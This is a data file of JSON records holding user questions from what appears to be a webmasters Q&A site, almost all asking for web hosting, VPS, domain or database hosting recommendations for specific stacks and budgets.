{"id":"12576","title":"Best and Economic Domain Purchase and hosting for asp.net app","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Hi Guys I have created an asp.net application and now i want to publish it on the internet and want to place different ads like Google Adsense etc on it. I don't have a Domain name. So please suggest me a hosting service which is technically better (Providees easy to manage control panel for your site etc) and cheap."}
{"id":"12889","title":"Hosting suggestions instead of Google App Engine","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? The problem is the following: I made an EJB+JPA+GWT webpage which uses GWT for the visual layer, EJBs for the service layer and JPA for interacting with the database layer. I was wondering if there was a way to host my website in the Google App Engine (GAE) but then I learned that GAE doesn't support EJB´s, so I was wondering if anyone knew of a cheap solution for hosting a web page that uses GWT+GAE+JPA."}
{"id":"19416","title":"What's the cheapest non-shared webhost out there?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? IT has to be Linux hosting, let me set up whatever I want (node, mongo, etc)"}
{"id":"7815","title":"Which is the best ASP.NET Web Hosting in France?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Can you give me a list of the best ASP.NET Web hosting companies situated in France? Thanks in advance."}
{"id":"25675","title":"Public website to host a yellow-page like project","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am working on a community project which is website served as a yellow page of shared artworks among students. At first, I planned to do the website myself (say, Drupal), but worried about the maintenance effort, bandwidth, security, scalability, etc. So I am looking for a public service (e.g. tumblr or wordpress.com) ... The project: * each student post the artwork (one preview image and one attachment) somewhere on the net * then the student loggin in the yellow page website to: * write a title and description of the artwork * upload the preview image * write the link to the download artwork * any students can download the artwork, the website records the download count * any students can vote a 5-star rating, the website records the rating count and calculate the average * any students can view artworks via the web, sort by newest, rating or download count Is there an existing website which can provide such a service?"}
{"id":"30523","title":"Where can I get a cheap database, no web hosting needed","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm building an application which requires a fairly small online MySQL database. I don't need any web hosting. What are some cheap options for an online database? * ** _Edit(a bit more about what I'll be using it for)_** _The database itself is very small it contains market statistics for 5 weeks of time. Once a week the data will be updated, so that it always contains the most recent 5 weeks._ _Then I will use the data in that to create an XML file which is generated with PHP. The XML file will need to be accessed hundreds-thousands of times per month._ *"}
{"id":"59231","title":"Searching a FREE WEB HOST which has a PHP MEMORY LIMIT over 196MB?","text":"I tried to install OpenAtrium on neq3hosting,2freehosting and hostinger. They all have a 128MB PHP memory limit, which cannot be increased through htaccess\/settings.php\/or similar methods (also cannnot access php.ini). Do you know a free we host which has a php memory limit start from 196MB to install OpenAtrium, Drupal (and other modules)?"}
{"id":"55997","title":"which vps hosting providers support custom images?","text":"Which vps\/cloud hopsting providers support custom machine images (like those offered by Bitnami and Turnkey linux)? I know amazon does, and unfortunately digitalocean doesn't. Which other large cloud providers support custom images?"}
{"id":"6155","title":"Joomla hosting with PHP 5.3 +","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Need a good Joomla host with PHP 5.3 + required. Any good suggestions?"}
{"id":"55792","title":"Configuration suggestions for a server hosting a general purpose website","text":"I hope I am asking this question on correct stackexchange website. Actually I have a general purpose ASP.NET website like stackexchange.com QnA sites. It is a new website, and I don't know what amount resources it will use. We can't afford high-end server. Currently we have following server configuration: * VPS with Windows Server * Single Core Processor * 1GB RAM * 70GB HDD * 700 GB BW What I want to know is that is this configuration good for my website type? I mean for 1 year atleast. Since we don't have much budget currently. If not then what you prefer?"}
{"id":"53829","title":"Are there any webhosts that do not require an IP address for direct database access?","text":"I am trying to create a little program with Java\/JDBC and MySQL that updates a database on my website periodically. However, this is for work and I am having problems remotely connecting via JDBC to the MySQL database. I am using Bluehost right now and they require that I have to add my IP address to give it permission to access the database. Is there a webhost that doesn't require this? Thanks"}
{"id":"45334","title":"SSL Hosting Support for site with existing SSL certificate","text":"I would like to know if there are any hosts that host PHP sites with SSL support for free, if I have an existing SSL certificate for my domain. I checked out many questions here(about 10) but none of them have my specific requirement. All questions are related to whether there are hosting sites that provide free SSL, however most sites do not since they have to pay for the certificate. Here, I have a valid certificate. Heroku offers this custom certificate addon for $20, but I want to know if there are sites that offer it for free. https:\/\/addons.heroku.com\/ssl [Please do not close this question since the requirement is different]"}
{"id":"54020","title":"Are there any free web hosts that allow adult content?","text":"I'm looking for a free web hosting (PHP) provider, that permits adult content. And by adult content, I don't mean videos. At most, photos. And I can keep it non-nude. I just want to display information about pr0n-stars. If I keep it non-nude, but still contain information about pr0n-stars, do you think 000webhost will allow this? Any advice would be appreciated. Thanks !"}
{"id":"29823","title":"Domain registrar that will allow separate sub domain NS record","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? So I recently found out to my dismay that my domain name registrar does not even support sub domains?! Hence I need to get a new one quick. I am faced with a problem where by my company has just signed up to an (legit) bulk email provider. I want to: * have a domain abc.com which host a website and also has MX records set up to route email as well. * I also want to set up a sub domain news.abc.com and re-point the whole name server for this sub domain to the bulk email provider. A couple of the well known domain registrars do not provide this service. Does anyone have any recommendations of flexible domain companies? Note I am not a sys-admin more a web dev so would prefer not to have to manually edit zone files! Thanks"}
{"id":"5001","title":"Looking for a reliable and inexpensive dedicated server host","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking to dump GoDaddy, the company I was with for the last 5 years or so. Yesterday my dedicated server went down for at least 5 hours. I was not impressed with the support I received and at the end they informed me that my hard-drive is probably about to die and that I needed to move. They want me do do it on my own or charge me for their support, even though, as I pointed out to them, that they sold me a lemon and I am only half-year half through my lease term. Instead I am looking for a new provider, that will send less promotional emails and will provide a better support. My current needs are not that great but I do need a dedicated server. Any suggestions?"}
{"id":"22023","title":"How to compare Shared versus VPS hosting?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? While shopping around for a new hosting service, I have find that I have no idea how to decide between shared hosting (which I presently use for _all_ my sites) service or go towards virtual (VPS) hosting which are always much more expensive. The real question is **How to determine when shared hosting is no longer an option for a site?** PS: This question covers some similar ground but is too specific for my needs."}
{"id":"10236","title":"Good .NET4 hosting providers","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Are there any good .NET4 Hosting providers that could host an MVC.net 4.0 application. IXWebhosting which is what I'm using now, says that they have no plans to move to 4.0. Either virtualized hosting or dedicated depending on the price?"}
{"id":"18497","title":"Where can i find free webhosting with pdo mysql and curl enabled?","text":"> **Possible Duplicate:** > What is the best free hosting provider for my site? I am looking for a free web host for a existing .com domain with **pdo mysql and curl** enabled"}
{"id":"9541","title":"Question about MochaHost.com Hosting Plans","text":"This is not an advertising, I've just found this website (MochaHost) that offers a great things just for 3$\/m like : * 2 LifeTime FREE Domains * UNLIMITED Space and bandwidth * SVN (subversion) support * SSH access * PHP 5, Perl, Python, and Rails I need to know if any of you had taken from them a hosting plans, what do you think about it?"}
{"id":"3524","title":"ASP.NET, PHP, SQL Server, MySQL hosting provider for developer?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking to find a web hosting provider that provides ASP.NET and PHP hosting. The purpose is pretty much just a programming playground for me to develop in and possible show some of my work. As I use ASP.NET and PHP I am looking for a provider that provides hosting for both of these technologies as well as access to MS SQL Server and MySQL. Of course I am on a budget so I really can't afford to pay more than $20\/month. I had looked at M6.net however in scanning for reviews I found a good deal of negative feedback. I currently use DownTownHost.com and have a good experience with them, however they do not support ASP.NET. I do not require email hosting though I know most packages include it anyway. Thanks for any suggestions. Some features that are important to me: * ASP.NET 4 hosting * ASP.NET MVC support * PHP * MySQL * SQL Server * URL Rewrite support * multiple sites under one account"}
{"id":"27735","title":"Shared Hosting Provider","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I've been with Dreamhost for 5 years but the amount of downtime I have experienced over the last 6 months has been outrageous. As of now (2012) which hosting provider would you recommend? Most of my sites are small to medium readership blogs running WordPress. I've been looking at Inmotion and Hostgator. Reliability is paramount. Thanks"}
{"id":"17848","title":"a good VPS to grow into (cheap at start, multiple sites, php and python, easily custom-configurable)","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We develop and host for many clients. I am choosing an upgrade over shared hosts, preferably a VPS. The new site should be able to deploy PHP for multiple sites. It should also support a localhost python web process (no Django\/frameworks involded) (I described the details in http:\/\/stackoverflow.com\/questions\/6939561\/most-easy-reliable-cheap-way-to- deploy-this-python-workhorse-app-with-a-php-f ). We expect ~1000 hits a day combined (and very modest spikes expected) and consequent bandwidth use of 20gb per month. So, I ask for: * latest versions of PHP, Python on a popular distro, accessible via shell * fair pricing at this traffic level (~10$ per month) * fair pricing for scaling up and good upgrade\/scale options * GUI config for multiple sites\/ server features * sync via SSH even over an obscure network architecture (I am told we have no \"public IPs\") * * * As a hypothetical question, which provider could help me set up a GIT\/Mercurial+TRAC server the most easily? (I know there are things like Bitbucket but this seems a hypothetical challenge that corelates well) I heard good things about WebFaction and Pyrox. How will they suit my above requirements? I dont want to steer the conversation prematurely. * * * I will start off from WebFaction or VPSlink which have been doing it for years, and the economics are firmly on that side and also easier for a newb. But Linode is what I choose a great upgrade for a serious site."}
{"id":"67933","title":"Hosting for image heavy wordpress website?","text":"What type hosting should I choose for a image heavy wordpress website ? I have to host about 30000 images approx 1.5 mb each + the thumbnail that will be generated for each image i.e about 80-100 kb each for 360x200 size thumbnail . What should I use ? VPS , DEDICATED , CDN etc ? Also which hosting company do you recommend ?"}
{"id":"56975","title":"Which service for storage and public hosting of image files","text":"I have been searching this for hours and every services I found have limitations or cost that do not work for me. My quest is simple. I have hundreds of thousands of image files (time lapse jpg images < 5 MB) which are organised in folders and subfolders. I originally hosted them with HostGator. Unfortunately, they see them as storage only because no file was displayed on a web page for 2 months. So HG is kicking me out. I need to quickly find an alternative service which works like a web server so I can organise the files exactly the same way, upload them via FTP or PHP script, and rsync from HG to move all the first (initially) AND be able to display the image file in a normal image tag in a web page. My local ISP in RSA is too expensive and also limit the hosting space to very little. You know the story for HostGator. SmugMug has unlimited storage but only allows upload via their web pages or LightRoom. Would cloud storage be a good option? Can someone recommend a good and affordable service for this?"}
{"id":"47363","title":"Is there a site that can host adsense and not blocked in China?","text":"My adsense account is \"hosted\". I want to host adsense on my own site because blogspot is banned in china. So which eligible host share 1. 100% revenue 2. Can be seen in china. I know youtube and and blogspot is a big no no. So what else?"}
{"id":"22141","title":"What's a good host to backup my personal data?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for a host that will allow backups on their servers for personal files such as graphic design work, completed video projects, large files, etc... Is there a good host out there that allows this?"}
{"id":"19630","title":"looking for cheap, USA-based, shared, ASP.NET 4 hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Actually I did find a solid company in Poland, where I live, but the problem is I will need USA-based server IP because google gives SEO bonus based on server location and I expect most of the visitors to come from the USA. The webpage in question will be tiny and niche so I don't want to overpay. Also, is there any reliable way of making sure I will get a USA-based host? For instance I just looked at godaddy.com and they say their servers are in Europe - probably they think that's what I want :). REGARDINDG IP LOCATION INFLUENCE ON GOOGLE RANK - my sources: http:\/\/www.youtube.com\/watch?v=hXt23AXlJJU http:\/\/www.youtube.com\/watch?v=keIzr3eWK8I"}
{"id":"14251","title":"Setting up a personal domain name","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking to set up a personal website, but I know very little about web hosting. Could somebody recommend a (not very expensive) host? What should I look for when choosing a host? Also, I'm rather icky about atriyasen.com because people can't make out if I'm Atriya Sen (which I am) or Atri Yasen! Would you recommend atriya-sen.com? atriya_sen.com? Finally, what about other TLDs like .name?"}
{"id":"38316","title":"Reputable web host in mainland China?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We currently have a rather poorly set up Windows 2003 box with little to no support based in Shanghai; with no control panel\/mail server. I am told for legal\/business reasons the host must be based in the same location as the company for the website; but this could well be misinformation. Are there any well-known, quality hosts in China that offer reliable English- speaking support? We did consider GoDaddy on the west coast of America, but were informed of the risk of the site being shut down without any notice. We don't have any technically-minded contacts out there to advise, and hoping that someone will have some more experience in this department. Thank you."}
{"id":"47948","title":"Windows hosting - Shared | VPS | Cloud","text":"I'll begin with stating what I require for a new website project: * ASP.NET (probably 4+) * SQL Server (not fussy, probably 2008+) * IIS 7 * SSL Not a huge list which is nice. However, the behaviour of the site and its will likely impact things. We are expecting to see quite large peaks and troughs, some spontaneous (eg. new ad), but generally predictable increases in traffic around Xmas (large spike on boxing day) and Easter. I've previously only ever used shared hosting (freelance) or dedicated (at a company) so I have never used VPS or Cloud. I have ruled out dedicated due to cost. Shared I am not so sure about, I have looked at shared hosting on Azure but wasn't entirely sure between Shared or Reserved. Further, how do these differ from cloud services? From some articles on the web, it seems that cloud services mean that you definitely get the resources you are paying for, rather than possibly sharing it with other customers on a shared service: > Since each customer gets his or her own virtual server \"instance\", there is > almost no contention for resources since the hypervisor manages these > partitions. http:\/\/www.smallnetbuilder.com\/cloud\/cloud-services- > apps\/395-cloud-vs-shared-hosting-whats-the-difference?start=1 Additionally, because there is not one server, if more resources are required then there is the ability to quickly boost numbers and later reduce them when traffic spikes are over. So lastly is VPS, which seems to be similar to shared hosting in terms of hardware (a single server rack) but with the appearance of a dedicated server. However, this introduces maintenance requirements but, certainly with regards to SSL, might be the only way to get what I want (currently no SSL on shared sites, not sure about cloud). Hopefully I've got my understanding of the technologies correct. Can anyone advise which solution would be best for me? While money is obviously tricky as it depends on host, but our starting fee would ideally be no more than £50\/month, but certainly to begin with we only need the most simple of hardware requirements. Oh, also we're solely UK based which possibly affects the decision to choose cloud hosting."}
{"id":"19653","title":"Looking for recommendations for Windows Web hosting companies","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I've always used Linux web hosting companies such as Dreamhost and Media Temple. I have been asked to host a website that has .asp based files. Does anyone have any recommendations for a Windows web hosting company that include but are not limited to: * reliable * good support * quality reputation * reasonable price"}
{"id":"45335","title":"I want to build a script CDN for my place of employment","text":"I write a bunch of scripts (javascript, php, perl) for my work. Right now, people have to get the scripts themselves from our sharepoint, and then install it as either a bookmarklet or a greasemonkey script. What I would like to do is to have a server that I could host all of these scripts on (js only, ofc), and then if I make a change\/fix\/enhancement to it, they don't need to reinstall it and it will be updated automatically. What are some good choices for this? Bandwidth will not be super excessive, as each script is probably 3-5kb and they are not run 24\/7. Could I use things like an EC2 instance to host them? How reliable are VPS providers(lowendbox.com, etc)?"}
{"id":"58945","title":"Hosting that makes setting up multiple sites easily","text":"I'm currently running several websites, both for myself and for clients. Most of them are smallish sites but there are 1 or 2 that are have promising futures. My question is, since it seems like the number of websites under my control will increase over time, what is the best way to set up new sites and which is the best hosting solution for that. I would like to have the following \"features\" * different IP for each site * custom nameservers for each site * different control panel logins (cpanel or anything else) for each site, so if I have to sell or rent the site, the buyer\/renter only has access to one sites panel only. What would be the best solution for this type of hosting need?"}
{"id":"6310","title":"Simple free web hosting to place my web page","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? please advise me simple web hosting. Just I want to upload webpage (simple) which I created and I don't need wizards or generators."}
{"id":"29615","title":"What's a reliable way to find a webhost?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm starting to come under the impression that just about every competent webmaster is using a vps. I'm not quite there yet, but I still want a decent job done hosting my website. I'm currently using asmallorange.com based on someone's suggestion, but I'm starting to regret the decision. Searching things like \"web hosts\" or \"web host reviews\" yields results on Google, but I have no basis to trust those results. So, is there a reliable, trusted website or article that I can read about webhosts?"}
{"id":"49303","title":"Cloud hosting with multiple SSL Certificates","text":"Can anyone suggest a US based cloud hosting option that allows multiple SSL certificates to be installed on a single account? Preferably a single vhost. Was going to use Media Temple's Grid Service but they only allow a single SSL certificate. I'm hoping to find a cloud service that allows a single virtual host to have multiple IP addresses on a single account, with multiple SSL Certificates on that single account."}
{"id":"10571","title":"Suggest windows webhost provider for following requirements","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We have a asp.net MVC3 based web app which uses **SQL SERVER 2008** for database. Also, we have a client side desktop application which also uses SQL SERVER 2008. While developing the system, we are able to Sync tables using SQL SERVER **Replication** feature. Now, we want to host our site on a webserver but we are clueless about it. If anyone of you have a similar system working then please suggest a cheap but reliable webhost which supports Replication. Initially there will be approximately **10 or less clients** who will perform replication **2 or 3 times** a day. The size of the database will be less than 4GB for sure."}
{"id":"18671","title":"Has anyone used WebFaction hosting for large traffic websites?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm a point where I'm needing to move a large traffic website off of MediaTemple Grid Server (it's maxing out the resources there now and they have actually asked politely for it to be moved to something more suitable) and on to a new server that can handle things better. My first thought was setting up a VPS. The site has two main components, the website itself and a forum. The website is currently coded in PHP with MySQL and is mostly static HTML files dotted with PHP scripts. It's old and cranky and ideally I want to move it to something like Django. The forum is a Simple Machines forum written in PHP and uses MySQL. They both get a lot of traffic. Bandwidth is up in the 600mb to 1gb status a month with over 500,000 visitors and more a month. The forum gets 400+ posts a day with 40,000 visitors a day. Like I say, I was going to move each part to their own VPS. One for each. But then I was thinking... I'm having to set this up all my self, I need to get backups sorted, I'll need to maintain the website myself. It's all alot of work, which I'm not sure I want to take on. So... Then I thought of WebFaction. I've used them for a few small websites. I've contacted them to ask this exact same question, and they indeed said it could handle it. But they would surely say this. I'm curious to know if anyone here has used WebFaction for large scale websites. Stuff with a lot of traffic. Can WebFaction handle large scale websites in your experience?"}
{"id":"19636","title":"Web Hosting for a small company with a few sites","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm the web developer at a small company based in the UK and we are looking into getting web hosting. I have been looking around for good deals, but good deals don't always mean the best hosting provider. So far, I have seen two that 'look' to be good: http:\/\/www.justhost.com\/ and http:\/\/www.fatcow.com\/ Does any one know if these are good? If so, which is the one to go for? Also, I want to know if there are any other companies worth considering or any that are known for being excellent that either you use or know of."}
{"id":"47993","title":"Best server setup for a website that streams videos\/audio","text":"I have a entertainment website that host both videos and audio, these are the 2 problems I'm having: 1. Storage is a issue on my dedicated server, I'm going need more space soon 2. The site buckles when it gets a significant amount of traffic I looked at numerous 3rd party videos\/audio hosting solutions and they have very limited storage and are very expensive. Storing files on Amazon is affordable at first but once you start to scale those charges skyrocket. Should I host the website on one server and then use another to just stream the files? How would I even begin to setup something like that? Looking for the most cost effective and most reliable solution."}
{"id":"13713","title":"Webhost ( linux shared ) which has php imap extension enabled and ports not blocked","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Ok, so I've had it with godaddy. What I need from you is a recommandation of a web hosting company that has php imap extension enabled and even if it has this extension enabled, the ports won't be blocked (i've run into 1 host with this problem ... i could use php imap function but... connection timed out ). Bassically I want to make use of osTicket and write an app that retreieves emails from google accounts using imap\/pop3. I am only askingthis here because I want to be sure that php imap functions are working as it should, not be enabled, but the ports blocked ( which is useless ). PS: i don`t want to rent a whole server computer. I just need a standard hosting account ( maybe with cpanel ). Thank you."}
{"id":"43177","title":"Running Two Website On EC2 Or Alternative Hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I've been developing and planning to launch my website using amazon EC2. I'm planning to launch Two website, one after the other but realise that i cant share the EC2 Instance. As everyone know Magento is a CPU monster and i'm planning to run on High-CPU On-Demand Instances, Medium $0.183 per Hour, that cost like $120 per month. I'm based in singapore and only aim to have customer coming from Singapore. So far, amazon speed has been satisfactory perhaps because they have one datacenter here in Singapore. Here are some requirements Two Magento Website (One require SSL in future) Running For BITNAMI LAMP stack as i'm not very familiar with setting up server. I'm planning to have stuff like varnish , externsion by magento, not sure if it would conflict. I was thinking if i could make good use of the CPU power by running it on 2 site instead of just one :\\ Any other alternative ? and whts your suggestion?"}
{"id":"15141","title":"IIS 7.0 free hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? i'm looking for a a website that offers free hosting on IIS 7.0 or IIS 7.5 other than Somee. Does anyone know such a site? Thanks!"}
{"id":"17588","title":"Deliver my website all over the world hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm building a website in a lot of languages that should be available all over the world. That means I would like to have low response time especially in Europe, Asia and South America. My website runs PHP scripts, needs database etc. Classical Linux\/Apache website. Now I want to ask: What's the best hosting solution and can you recommend me any companies that offer services I need? Thanks a lot!"}
{"id":"10772","title":"Looking for VPS Hosting for a LAMP Web Application","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Trying to find a _Managed VPS Hosting Solution_ for a LAMP Web Application. * The more CPU, RAM, and Disk space the better * Don't need a huge amount of bandwidth for now * Would like to be able to easily grow into a stronger server * Have really responsive, dedicated, smart support staff -- our current hosting is just terrible My main problem is that I can't even find a non-biased website out there that does a proper comparison of VPS Hosting providers. Can anybody either suggest a reviews\/ranking site or a hosting with proven record? How would _you_ go about finding the best hosting service? Thanks a lot! Ali"}
{"id":"13058","title":"How can I choose between Linux and Windows hosting?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am a relative beginner when it comes to choosing web servers and hosting plans. I'm about to signup for a hosting plan with GoDaddy. My main requirement is ColdFusion and MySQL. The plans on offer include Linux and Windows based plans. Which one should I choose, and why? I don't have a lot of requirements other than what I mentioned above. I never used Linux before but I doubt I'll ever need to do anything beyond tampering with my account. What are the main advantages of one over the other?"}
{"id":"12740","title":"Can anybody recommend a hosting service where security is paramount?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Can anybody recommend a hosting service where security is paramount? We are looking for a VPS or dedicated service that offers hardware based firewalls (i.e. Juniper, Sonicwall), a hardened Linux based environment, software based intrusion prevention services (minimum cfs, mod_sec), and no latency issues. C-Panel based environment preferred. The host should provide the initial server- and security setup, including disabling all unnecessary services, we will rebuild all websites."}
{"id":"20086","title":"MVC3 webhosting common resources for under $5\/month","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking for a very cheap under $5\/month MVC3 hosting. I found some offers which seem too good to be true, and others more expensive. Could you please recommend me a company that you like? I found other posts on the internet but nothing very current and I know I can trust this place."}
{"id":"15378","title":"High quality\/performance shared hosting (in northern Europe)","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I work as a web developer on almost all levels. However, my typical customer is a 1-5 guys running some sort of consulting business. They have (or want) a web page with some kind of CMS so the can perform most (or all) editing themselves. I normally opt for Concrete5 as my default CMS because it's the most user friendly (and free) CMS I have found. My good recurring customers I host on my own server as a service, but I need a good host for the customers where I want to deliver a product and not be responsible for whatever may happen in the future. However, I still struggle with hosting! Experience shows that the typical ~1$ shared hosting is waaay to slow to run concrete5 smoothly, and a VPS is out of the question because I don't want to maintain it. So, where can I find as fast (from northern Europe), reliable, shared host where I can put a site and don't have to worry about the server going down or being unmaintained. I expect this should cost around $10-$20 but I'm open to all kinds of suggestions because different customers have different budgets."}
{"id":"43924","title":"Multiple websites on a VPS","text":"I am going to create my sites network. I have to create at least four site: e.g. myblog.com, myfreebies.com, mystore.com, my2ndstore.com. I do not want to buy one host for every one of them, just going to manage all of them on host. During searching I found VPS are good for my purposre, but I have problem in choosing good configurations. At the moment I am going to buy a vps with 1 core CPU, 256M RAM, 20G Hard, Unlimited Bandwidth. Is it a good configuration? Can mentioned VPS serve high numbers of visitors? Is it good for page rank (as you know, higher speed sites = higher Page rank)? Any other suggestions are appreciated."}
{"id":"12897","title":"Hosting services for JEE","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm using EJBS, JPA and GWT. I was wondering if someone knows a hosting service that offers what I need (like a Glassfish or JBoss server). I need a servlet and an EJB container."}
{"id":"3972","title":"Cheap Hosting Provider for Business Splash Page?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for a provider to host a splash page for my business. One page (index.htm) with some basic HTML (company name, logo, contact details), and a CSS stylesheet. That's it. It's mainly for reference (to complement business cards). I also don't have a domain purchased yet (but the name is available) What's the cheapest provider for this scenario? (if they also offer the DNS, bonus - two birds one stone). As it's only one page, and no dynamic content - i obviously don't need a dedicated server, a VPS\/shared server would be fine. Cheapest\/most well known seems to be GoDaddy. Can anyone name\/recommend a few more?"}
{"id":"17810","title":"Excellent WordPress unix hosts with SSH access?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? My boss is sick of DreamHost's excuses. We have a popular WP site on a Unix VPS with DreamHost. We'd like to find a new, more reliable host, who can handle ~~a high-ish~~ traffic of perhaps 2000 uniques a day WP site and offers SSH access. Anyone have a recommendation?"}
{"id":"20452","title":"Is there any free host which supports PHP with curl enabled?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for a web host which supports PHP with CURL extension enabled. I tried a few of them but they keep showing me errors."}
{"id":"68689","title":"Which Cloud Region Should I select for my blog site?","text":"I currently have my blog set up with shared hosting(godaddy). After recent growth on traffic, I feel like, its time to get serious by hosting it to a better place, I am thinking about cloud obviously. However, in amazon\/digitalocean etc, I have to select the region where I want to host the site. As part of shared hosting it was hosted in US region, I guess. But as my site's traffic mostly based on Asia, I am thinking to choose a nearby location now, say, Singapore. Though I know, its probably make sense to do so. But at the same time, I also don't want my North american visitors suffers, rather I want to grow more visitors in this area(I myself currently reside in Canada). Just wondering if the decision moving the server to singapore region can be very bad for north american visitors or it will be kind of OK for now? Should I stick to a US based server for any reason? For User Experience\/SEO perspective?"}
{"id":"16119","title":"I need a webpage to host my javascript!","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Does anyone know a website that hosts javascripts on their page? I have a research project that needs to collect some RTT from all over the world and compare them together. I have written the javascript code for that but I do not have a high hit rate website to put it on to collect data. I know it is a little bit odd question to ask, but do you know any website or any trick that can help me? Note that the script would not do any harm to anybody! :-) Thanks, * * * Decad is right, I basically need some people to put my script on their \"high- hit rate\" website ... so I can collect data from large number of clients... Of coarse, the script is run on the background with no harm to the page. It basically measures some RTT and submit it to a server. I already have some pages, but they barely got a hit from outside! Thanks,"}
{"id":"10200","title":"JSF Glassfish host","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Is there any Glassfish and JSF 2.0 hosting for free or reaonable prices? I mean something which is good for personal projects."}
{"id":"20782","title":"MongoDB Hosting: MongoLab vs MongoHQ vs MongoMachine","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I looking for a MongoDB managed hosting solution, here are 3 I found comparable. Has anyone have some insights in which one to use?"}
{"id":"54095","title":"PHP web app hosting considerations and advice - high traffic expected from day 1","text":"I'm in the process of researching hosting providers for a high traffic Facebook application. The client has over 300,000 likes so we can expect quite a bit of traffic when posts are made about it and there are a dozen of so celebrities involved in promoting it on their end. The app itself, in staging at the moment, is built with Codeigniter and is running a MySQL database. Only one table, of two, is expected to grow significantly through user interaction with the app. Most of the traffic will be coming from the UK. Overall page sizes with all assets loaded will be less than 1mb. For other similar applications we have used a Cloud VPS with the following configuration: Monthly Bandwidth - 1TB RAM - 2GB Storage - 75GB CPU - 2 x Xeon 2.33Ghz Any advice would be great appreciated!"}
{"id":"46884","title":"looking for a comparable service like one.com, but need more domain parkings? any ideas?","text":"I have a simple and small website, webshop, email and mobile version. one.com would be OK for this, but I want to store some more domains which one.com won't allow. Thanks a lot people! rikolino"}
{"id":"47836","title":"hosting images on image hosting websites","text":"my website traffic has increased a lot and now in some cases has difficulties handling these users specially on busy hours. I want save some of the images on the website on image hostings so that they load from there just like the jquery that we load from code.jquery.com or code.google.com. I wanted to know is it wise to do so? do you know any good websites with permanent image hosting? any suggestions?"}
{"id":"9170","title":"Looking for Windows shared web hosting with PHP support","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for Windows based shared web hosting which supports multiple hosted web sites (multiple domains). Supported technologies should contain: * ASP.NET 4, ASP.NET MVC * IIS 7 * MS SQL 2008 * PHP, MySQL It is for my hobby projects so it should not be too expensive. I tried GoDaddy's Windows Deluxe hosting but the experience is very bad and I want to move elsewhere. WordPress hosted on GoDaddy's Windows hosting is unloaded every few minutes and next request takes around 20s to complete. Following request to empty site takes around 3s to complete. Even request for RSS which transfers 1.2KB takes several seconds. The delay happens in PHP processing because static content is served within 200ms. It helped to migrate to Linux hosting (all requests are served under 1s) but Linux hosting is not what I'm looking for."}
{"id":"57417","title":"Looking for reliable, long term, free hosting","text":"My question: I have a site powered by Wordpress that I need to host, and it has to be done for free because it is for an under privileged school. Because my favorite site, 1freehosting, isn't working for me right now, can you recommend some free hosting that is reliable and long term? The background: It is just another Wordpress site, for a journalism club. I offered to try to find free hosting, and find some paid ones as well. I already have a good list of paid hosters, but I need free. I want a server powered by Apache, reasonable disk space that is enough for Wordpress content and pictures, about 5-10GB in bandwidth every month, and it must be really reliable. Please help me!"}
{"id":"23806","title":"Free cloud hosting for asp.net facebook apps?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Facebook offers free app-hosting for PHP, Ruby, Node.js and Python, see https:\/\/developers.facebook.com\/blog\/post\/558\/ . Does anyone know whether there is something similar for asp.net?"}
{"id":"16564","title":"How to put my web site online","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I've developed a web site using symfony and wamp server on my pc and now I'd like to make it accessible to everyone on the web. So what I'd like to know is the best host provider and domain register considering that it's a symfony project. It's my first time launching a web site so I don't really know if I can have `ssh` access to the server host considering that it would be better than only dumping through ftp. Subversion is also important to quick updates."}
{"id":"27644","title":"Is there any free host which supports php and mySQL in utf-8?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Is there any **free host** which supports php and **mySQL queries in utf-8**? I've already tried to use x10hosting and 000webhosting, but they don't support utf8 mysql queries (got mojibake). The default encoding of mysql in both sites is latin-1, and you're not able to change that. Is there any other **free host that fully supports utf-8**?"}
{"id":"18678","title":"Please recommend some good hosting for Facebook App (free\/paid)","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am learning to program facebook app and so I am looking for some free\/trial\/paid hosting to host my php and db."}
